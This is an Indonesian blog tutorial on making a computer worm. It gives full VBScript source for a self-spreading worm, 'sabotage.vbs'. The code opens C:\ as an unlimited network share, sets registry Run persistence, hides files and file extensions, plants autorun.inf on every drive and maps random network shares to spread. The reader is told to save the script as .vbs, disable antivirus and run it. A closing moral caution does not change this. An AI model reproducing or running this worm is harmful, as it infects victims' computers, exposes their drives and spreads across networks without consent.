Cara Membuat Virus WORM

Assalamu'alaikum wr.wb

Sebelumnya postingan yang lalu saya sudah memposting tentang Virus untuk komputer yang berektensi .bat
Selengkapnya silahkan klik
Dan pada kesempatan kali ini akan mengupas Virus WORM
Worm yang artinya adalah cacing, sehingga Worm sering di sebut sebagai cacing komputer, dan Worm termasuk dalam keluarga malware, akan tetapi banyak programer yang menyebut Worm itu bukan Virus hanya setingkat atau sekelas dengan Virus, karna Worm tidak merusak system.
Worm atau yang akrab di sebut Cacing Komputer itu mempunyai kelebihan menduplikat atau menggandakan dirinya menjadi sebanyak-banyaknya dan salinannya juga mampu mereplikasikan dirinya seperti aslinya kesemua system
Sehingga efek yang di timbulkan oleh Worm mengakibatkan memori jadi penuh dan server yang di miliki komputer menjadi Crash, lemot, lelet, bengong, lola, dll
Dan Worm atau salinannya pun juga mampu mengirim dirinya kekomputer lain tanpa ada campur tangan manusia, bahkan semua email yang tercantum di komputer.

Dan di bawah ini penampakan Worm dan cara membuatnya cukup mudah dan simple

'54807463 On Error Resume Next Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count count = "0" dot = "." drivecon="0" set wshnetwork = wscript.createobject("wscript.network") Set Wshshell = Wscript.CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") RG = "Software\Microsoft\Windows\CurrentVersion" Set Markas = fso.GetSpecialFolder(0) SU = Wshshell.SpecialFolders("AllUsersStartUp") SU = Replace(SU, "C:", "s:") If fso.FileExists("autorun.inf") then Wshshell.Run "explorer.exe " End if Wshshell.Run("net share system=C:\ /unlimited"), 0, true Randomize For i =1 to 8 r = int(rnd * 50) + 66 polm = polm & Chr(r) next polm = Chr(39) & polm & Chr(13) & Chr(10) Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1) strRan = dropper.readline src = dropper.readall strRan = polm randmat() Do If not fso.FileExists(Markas & "\sabotage.vbs") then Set dropper = fso.CreateTextFile(Markas & "\sabotage.vbs", True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(Markas & "\sabotage.vbs").attributes = 39 Wshshell.Run "wscript.exe " & Markas & "\sabotage.vbs" End if Wshshell.RegWrite "HKLM" & RG & "\Run\WinSystem", Markas & "\sabotage.vbs" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HideFileExt", "1", "REG_DWORD" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HIDDEN", "0", "REG_DWORD" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\SHOWSUPERHIDDEN", "0", "REG_DWORD" for each a in fso.drives If a.isready then fso.GetFile(a & "\sabotage.vbs").Attributes = 0 Set dropper = fso.CreateTextFile(a & "\sabotage.vbs", True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(a & "\sabotage.vbs").Attributes = 39 fso.GetFile(a & "\autorun.inf").Attributes = 0 Set auto = fso.CreateTextFile(a & "\autorun.inf", True) auto.WriteLine("[autorun]") auto.WriteLine("ShellExecute=wscript.exe sabotage.vbs") auto.Close fso.GetFile(a & "\autorun.inf").Attributes = 39 End if next If not Wscript.ScriptFullName = Markas & "\sabotage.vbs" then Wscript.Quit End if do while drivecon = "0" check() shareformat() wshnetwork.mapnetworkdrive "s:", sharename enumdrives() loop copyfiles() disconnect() Wscript.Sleep 60000 Loop function disconnect() wshnetwork.removenetworkdrive "s:" drivecon = "0" end function function copyfiles() Set fso = CreateObject("scripting.filesystemobject") fso.copyfile Wscript.ScriptFullName, SU & "\sab0tage.vbs" end function function check() raxd = raxd + 1 if raxd = "255" then randmat() end function function shareformat() sharename = "\" & raxa & dot & raxb & dot & raxc & dot & raxd & "\C" end function function enumdrives() Set odrives = wshnetwork.enumnetworkdrives For i = 0 to odrives.Count -1 if sharename = odrives.item(i) then drivecon = 1 else ' drivecon = 0 end if Next end function function randum() rand = int((254 * rnd) + 1) end function function randmat() if count < 50 then raxa=Int((16) * Rnd + 199) count=count + 1 else randum() raxa= rand end if randum() raxb=rand randum() raxc=rand raxd="1" end function

Bila sudah di copy silahkan buka Notepad Anda dan simpan dengan ektensi atau format .vbs (Visual Basic Script)
Dan silahkan matikan Anti Virus Anda dan selamat menCoba :v

Ingat !! 
Jangan Jahat Terhadap sesama
Karna itu adalah perbuatan DOSA.

Sekian dan Sampai Jumpa di Tutorial berikutnya.

Wassalamu'alaikum wr.wb